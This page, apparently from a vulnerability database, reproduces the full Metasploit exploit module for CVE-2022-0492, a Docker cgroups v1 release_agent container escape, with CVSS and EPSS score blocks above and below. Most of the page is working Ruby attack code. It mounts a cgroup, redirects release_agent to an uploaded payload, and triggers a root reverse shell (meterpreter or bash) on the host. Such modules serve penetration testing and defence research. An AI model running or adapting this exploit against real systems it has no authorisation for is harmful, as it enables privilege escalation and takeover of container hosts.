Lucene search

K
metasploitH00die, Yiqi Sun, Kevin Wang, T1ernoMSF:EXPLOIT-LINUX-LOCAL-DOCKER_CGROUP_ESCAPE-
HistoryNov 28, 2023 - 6:44 p.m.

Docker cgroups Container Escape

2023-11-2818:44:08
h00die, Yiqi Sun, Kevin Wang, T1erno
www.rapid7.com
66
docker
container escape
privilege escalation
linux kernel vulnerability
cgroups
release agent
namespace isolation
vulnerability

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

Low

6.9 Medium

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:M/Au:N/C:C/I:C/A:C

0.095 Low

EPSS

Percentile

94.8%

This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability. If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system. A vulnerability was found in the Linux kernel’s cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges and bypass the namespace isolation unexpectedly. More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates. If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file, an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent file is owned by root, so only a user with root access can modify it.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Docker cgroups Container Escape',
        'Description' => %q{
          This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.
          If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.

          A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.
          This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges
          and bypass the namespace isolation unexpectedly.

          More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates.
          If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file,
          an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent
          file is owned by root, so only a user with root access can modify it.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Yiqi Sun', # discovery
          'Kevin Wang', # discovery
          'T1erno', # POC
        ],
        'Platform' => [ 'unix', 'linux' ],
        'SessionTypes' => ['meterpreter'],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
        },
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af'],
          [ 'URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],
          [ 'URL', 'https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC'],
          [ 'URL', 'https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492'],
          [ 'URL', 'https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh'],
          [ 'URL', 'https://pwning.systems/posts/escaping-containers-for-fun/'],
          [ 'URL', 'https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html'],
          [ 'URL', 'https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation'],
          [ 'URL', 'https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/'],
          [ 'CVE', '2022-0492']
        ],
        'DisclosureDate' => '2022-02-04',
        'Targets' => [
          ['BINARY', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } }],
          ['CMD', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir']
  end

  def check
    print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu')
    release = kernel_release
    # https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-0492
    release_short = Rex::Version.new(release.split('-').first)
    release_long = Rex::Version.new(release.split('-')[0..1].join('-'))
    if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.10
       release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS
       release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS
       release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM
      return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable")
    end

    CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS")
  end

  def exploit
    # Check if we're already root as its required
    fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') unless is_root?

    # create mount
    folder = rand_text_alphanumeric(5..10)
    @mount_dir = "#{base_dir}/#{folder}"
    register_dir_for_cleanup(@mount_dir)
    vprint_status("Creating folder for mount: #{@mount_dir}")
    mkdir(@mount_dir)
    print_status('Mounting cgroup')
    cmd_exec("mount -t cgroup -o rdma cgroup '#{@mount_dir}'")
    group = rand_text_alphanumeric(5..10)
    group_full_dir = "#{@mount_dir}/#{group}"
    vprint_status("Creating folder in cgroup for exploitation: #{group_full_dir}")
    mkdir(group_full_dir)

    print_status("Enabling notify on release for group #{group}")
    write_file("#{group_full_dir}/notify_on_release", '1')

    print_status('Determining the host OS path for image')
    # for this, we need the line that starts with overlay, and contains an 'upperdir' parameter, which we want the value of
    mtab_file = read_file('/etc/mtab')
    host_path = nil
    mtab_file.each_line do |line|
      next unless line.start_with?('overlay') && line.include?('perdir') # upperdir

      line.split(',').each do |parameter|
        next unless parameter.start_with?('upperdir')

        parameter = parameter.split('=')
        fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') unless parameter.length > 1
        host_path = parameter[1]
      end
      break
    end

    fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') if host_path.nil? || host_path.empty? || host_path.start_with?('sed') # start_with catches repeat of command

    vprint_status("Host OS path for image: #{host_path}")

    payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}"
    print_status("Setting release_agent path to: #{host_path}#{payload_path}")
    write_file "#{@mount_dir}/release_agent", "#{host_path}#{payload_path}"

    print_status("Uploading payload to #{payload_path}")
    if target.name == 'CMD'
      # for whatever reason it's unhappy and wont run without the /bin/sh header
      upload_and_chmodx payload_path, "#!/bin/sh\n#{payload.encoded}\n"
    elsif target.name == 'BINARY'
      upload_and_chmodx payload_path, generate_payload_exe
    end
    register_files_for_cleanup(payload_path)

    print_status("Triggering payload with command: sh -c \"echo \$\$ > #{group_full_dir}/cgroup.procs\"")
    cmd_exec(%(sh -c "echo \$\$ > '#{group_full_dir}/cgroup.procs'"))
  end

  def cleanup
    if @mount_dir
      vprint_status("Cleanup: Unmounting #{@mount_dir}")
      cmd_exec("umount '#{@mount_dir}'")
    end
    super
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

Low

6.9 Medium

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:M/Au:N/C:C/I:C/A:C

0.095 Low

EPSS

Percentile

94.8%